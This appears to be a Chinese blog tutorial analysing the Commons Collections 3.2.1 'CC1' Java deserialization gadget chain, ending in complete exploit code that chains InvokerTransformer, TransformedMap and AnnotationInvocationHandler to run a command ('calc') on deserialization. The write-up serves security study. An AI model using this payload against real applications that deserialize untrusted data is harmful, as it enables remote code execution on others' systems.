CC1链分析

Java安全 CC1链分析

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。

Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口,实现和实用程序

https://www.yiibai.com/commons_collections/commons_collections_overview.html

漏洞环境

  • CommonsCollections <= 3.2.1

  • java < 8u71

导入Maven依赖

访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

首先设置在pom.xml环境

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

存在漏洞的版本 commons-collections3.1-3.2.1 8u71之后已修复不可利用

java 版本 jdk-8u65 解压src.zip 下载sun源码 将它加入到src目录下 ,具体可以找网上视频部署

在这里插入图片描述

在idea里添加sdk版本把sun目录加入 即可查询源码

在这里插入图片描述

如果碰到这个问题可参考学习CC1碰到AnnotationInvocationHandler.java库源与类 AnnotationInvocationHandler 的字节码不符-CSDN博客

cc1链分析

Transformer

具体位置在package org.apache.commons.collections包下

Transformer是一个接口类,提供了一个对象转换方法transform

package org.apache.commons.collections;

public interface Transformer {

    public Object transform(Object input);

}

跟踪链子,查看有谁调用

在这里插入图片描述

把目光放在ConstantTransformerinvokerTransformerChainedTransformerTransformedMap上,先跟着invokeinvokerTransformer来走。

invokerTransformer

如图发现此处有同名方法

在 org/apache/commons/collections/functors/InvokerTransformer.java 这个类中存在
在这里插入图片描述

这里就相当于通过反射调用某个方法,存在任意调用,写链子弹计算器

    Runtime r = Runtime.getRuntime();
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r)

怎么理解,由于InvokerTransformer的transform方法不是静态方法,得实例化在调用

弹计算器:Runtime.getRuntime.exec();

根据构造方法的参数类型,进行实例化

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }
TransformedMap

对着 InvokerTransformer的transform方法进行find usages进行跟踪,我们关注TransformedMap

在这里插入图片描述

我们找到了调用方法
在这里插入图片描述

那我们如何调用?这一块是个保护方法非公共。往上翻翻,decorate实现了对该类构造函数的调用。可利用这个进行实例化调用

decorate还是一个静态方法,非常方便。捋一下,我们要触发TransformedMap的checkSetValue方法,用非静态方法要进行实例化调用。注意checkSetValue传的是value,key值可忽略写null即可

在这里插入图片描述

    Runtime r = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    HashMap<Object,Object> map = new HashMap<>();
    TransformedMap.decorate(map,null,invokerTransformer);
AbstractInputCheckedMapDecorator

在org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java处

在这里插入图片描述

这里的setValue方法处调用了

在这里插入图片描述

TransformedMap.java 的父类是AbstractInputCheckedMapDecorator

TransformedMap是继承 AbstractMapEntryDecorator的抽象类的 所以可以使用抽象类中的setValue方法。

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

ransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

  1. 普通类继承,并非一定要重写父类方法。

  2. 抽象类继承,如果子类也是一个抽象类,并不要求一定重写父类方法。如果子类不是抽象类,则要求子类一定要实现父类中的抽象方法。

    但是往前头看很明显AbstractInputCheckedMapDecorator是一个抽象类,所以作为子类就一定要重写这里的setValue方法。

    MapEntry是他的父类而且也是个静态类, transformers 调用 setValues 会直接调用到父类中静态类MapEntry 的 setValues

    因为是继承父类的方法。

payload如下

package cc;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value"); //设置map的值
        Map<Object,Object> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer); //invokerTransformer传入值
        for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map里一种遍历方式
              entry.setValue(r); //这里相当于 invokerTransformer.transform(value);

        }


    }
}

AnnotationInvocationHandler

setVavlue最终还是要被 readObject 调用

在 sun/reflect/annotation/AnnotationInvocationHandler.java处

在这里插入图片描述

巧合的是在这里,也看到了Map的遍历。想办法调用实例化调用,但是AnnotationInvocationHandler 这个类不是public 默认是default 所以要使用这个类 必须反射调用。所以紧跟着上面的payload构造

package cc;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value"); //设置map的值
        Map<Object,Object> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer); //invokerTransformer传入值
        for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map里一种遍历方式
              entry.setValue(r); //这里相当于 invokerTransformer.transform(value);

        }
  Class c=Class.forName("sun/reflect/annotation/AnnotationInvocationHandler");
			//反射构造函数出来
        Constructor annotationdeclaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
       	 //暴力反射
        annotationdeclaredConstructor.setAccessible(true);
        		//反射实例化传值
                Object o=annotationdeclaredConstructor.newInstance(Override.class,transformedMap);
                serialize(o);
                unserialize("ser.bin");

    }
}

如果没有弹出计算器,涉及到问题2的一个问题,要满足readObject的双if判断

问题1Runtime本身不能序列化

Runtime本身是不能序列化的,它其实并没有继承implements Serializable。 解决Runtime不能序列化问题,所以通过反射来解决。

而反射中用Runtime.Class可实现序列化。

在这里插入图片描述

所以得写成反射形式

 Class  s = Runtime.class;
        Method method = s.getMethod("getRuntime",null);
       Runtime c= (Runtime) method.invoke(null, null);
        Method methodexec = s.getMethod("exec", String.class);
       methodexec.invoke(c,"calc");

getRuntime是一个静态,无参方法

Runtime c= (Runtime) method.invoke(null, null);这块两个null值。

在这里插入图片描述

然后想着把invokeTransformer带进去,因为invokerTransformer的transform方法存在任意调用。InvokeTransformer调用了任意类的任意方法 你得把你的runtime的反射给他传进去。payload放到下一个再写。

ConstantTransformer

我们引入ConstantTransformer,此处有transform方法,函数分析,此方法如果传入一个数组,就会实现了递归调用。将前1个值的输出当作后面第2个值的输入

在这里插入图片描述

所以实例化要写成Transformer[] transformers = new Transformer[],在进去递归调用,传入invokeTransformer的值。链式调用。

上面payload写法可以注释掉

Transformer[] transformers = new Transformer[]{
		//传入Runtime.class,反射第一步,获取class类对象,传入危险函数,这一步看下面 ConstantTransformer
       new ConstantTransformer(Runtime.class),
InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 
      new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

在这里插入图片描述

在这里插入图片描述

InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null})为什么这么写。

首先InvokerTransformer要传三参数,前面写过,里面String.class, Class[].class怎么理解?看上图的getMethod的传参。下面的invoke也是同理

ConstantTransformer

在这里插入图片描述

接受一个对象返回一个常量,无论接收什么对象都返回 iConstant

通过 ConstantTransformer类 Runtime.class

transform 可以传入任意值 都会返回 Runtime.class

所以写成new ConstantTransformer(Runtime.class)zhu

注意 readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy,不是我们想要的Runtime.class,所以在 transformers 中加入了 new ConstantTransformer(Runtime.class),确保value值为我们的Runtime.class

问题2readObject方法中有两个if判断

我们需要满足两个 if判断 才能成功执行setValue方法

在这里插入图片描述

前面AnnotationInvocationHandler的payload

Object o=annotationdeclaredConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize(“ser.bin”);

这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的。

Override.class是没有成员变量的,所以为空,要不为空才能进去,满足if判断。改成Target.class,Target有一个成员变量

所以我们就可以使用这个注解,并改第一个键值对的值为value

在这里插入图片描述

package cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception{


/*
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value"); //设置map的值
        Map<Object,Object> TransformedMapMethod= TransformedMap.decorate(map,null,invokerTransformer); //invokerTransformer传入值
       for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map里一种遍历方式
              entry.setValue(r); //这里相当于 invokerTransformer.transform(value);

        }*/
/*     //序列化的版本
       Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        Runtime r = (Runtime)getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec",String.class);
        Object obj= execMethod.invoke(r,"calc");

     */

       /*

InvokerTransformer 版本执行命令

        Method getRuntimeMethod= (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
 */

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap<>();
        //解决问题2的问题
        map.put("value","value"); //设置map的值
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

       Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取类
       Constructor constructor =  c.getDeclaredConstructor(Class.class,Map.class);
       constructor.setAccessible(true);
       Object o = constructor.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize();

    }




    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }

    public static void unserialize() throws  Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();

    }

}

``

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值